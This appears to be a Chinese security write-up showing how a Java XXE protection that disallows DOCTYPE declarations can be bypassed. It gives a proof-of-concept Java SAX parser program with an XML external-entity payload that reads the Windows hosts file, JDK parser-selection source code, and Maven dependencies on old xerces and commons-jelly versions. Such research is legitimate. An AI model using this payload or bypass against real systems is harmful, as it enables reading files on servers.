Java XXE 漏洞做了 doctype 防护情况下的一种绕过案例

package xml;


import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;


import java.io.IOException;
import java.io.StringBufferInputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;


/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2020/6/12 19:41
 */
public class XXE {


    public static void main(String[] args) throws IOException, SAXException {


        XMLReader xmlReader = null;
        try {
            xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
            xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
            xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
        } catch (SAXNotSupportedException e) {
            e.printStackTrace();
        } catch (SAXNotRecognizedException e) {
            e.printStackTrace();
        } catch (SAXException e) {
            e.printStackTrace();
        }
        MyHandler myHandler = new MyHandler();
        xmlReader.setContentHandler(myHandler);
        System.out.println(xmlReader.getClass());
        xmlReader.parse(new InputSource(new StringBufferInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [\n" +
                "        <!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">\n" +
                "        ]>\n" +
                "<evil>&xxe;</evil>")));
    }


}
class MyHandler extends DefaultHandler{
    String key,value;
    Map<String,String> map=new HashMap<String,String>();
    Set<String> must=new HashSet<String>();
    public void startDocument() throws SAXException {}
    public void startElement(String uri, String localName, String rawName, Attributes attlist)throws SAXException {
        key=localName;
    }
    public void characters(char[] ch, int start, int length) {
        System.out.println(new String(ch, start, length));
        value = new String(ch, start, length);
    }
    public void endElement(String uri, String localName, String rawName) throws SAXException {
        map.put(key,value);
    }
    public void endDocument() throws SAXException{
    }
    Map<String,String> getMap(){ return map;}


}
复制

    public static XMLReader createXMLReader ()
        throws SAXException
    {
        String          className = null;
        ClassLoader     cl = ss.getContextClassLoader();


        // 1. try the JVM-instance-wide system property
        try {
            className = ss.getSystemProperty(property);
        }
        catch (RuntimeException e) { /* continue searching */ }


        // 2. if that fails, try META-INF/services/
        if (className == null) {
            if (!_jarread) {
                _jarread = true;
                String      service = "META-INF/services/" + property;
                InputStream in;
                BufferedReader      reader;


                try {
                    if (cl != null) {
                        in = ss.getResourceAsStream(cl, service);


                        // If no provider found then try the current ClassLoader
                        if (in == null) {
                            cl = null;
                            in = ss.getResourceAsStream(cl, service);
                        }
                    } else {
                        // No Context ClassLoader, try the current ClassLoader
                        in = ss.getResourceAsStream(cl, service);
                    }


                    if (in != null) {
                        reader = new BufferedReader (new InputStreamReader (in, "UTF8"));
                        _clsFromJar = reader.readLine ();
                        in.close ();
                    }
                } catch (Exception e) {
                }
            }
            className = _clsFromJar;
        }


        // 3. Distro-specific fallback
        if (className == null) {
// BEGIN DISTRIBUTION-SPECIFIC


            // EXAMPLE:
            // className = "com.example.sax.XmlReader";
            // or a $JAVA_HOME/jre/lib/*properties setting...
            className = "com.sun.org.apache.xerces.internal.parsers.SAXParser";


// END DISTRIBUTION-SPECIFIC
        }


        // do we know the XMLReader implementation class yet?
        if (className != null)
            return loadClass (cl, className);


        // 4. panic -- adapt any SAX1 parser
        try {
            return new ParserAdapter (ParserFactory.makeParser ());
        } catch (Exception e) {
            throw new SAXException ("Can't create default XMLReader; "
                    + "is system property org.xml.sax.driver set?");
        }
    }
复制

xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
复制

<!-- https://mvnrepository.com/artifact/xerces/xerces -->
<dependency>
    <groupId>xerces</groupId>
    <artifactId>xerces</artifactId>
    <version>2.2.1</version>
</dependency>
复制

        <!-- https://mvnrepository.com/artifact/commons-jelly/commons-jelly -->
        <dependency>
            <groupId>commons-jelly</groupId>
            <artifactId>commons-jelly</artifactId>
            <version>1.0.1</version>
        </dependency>
复制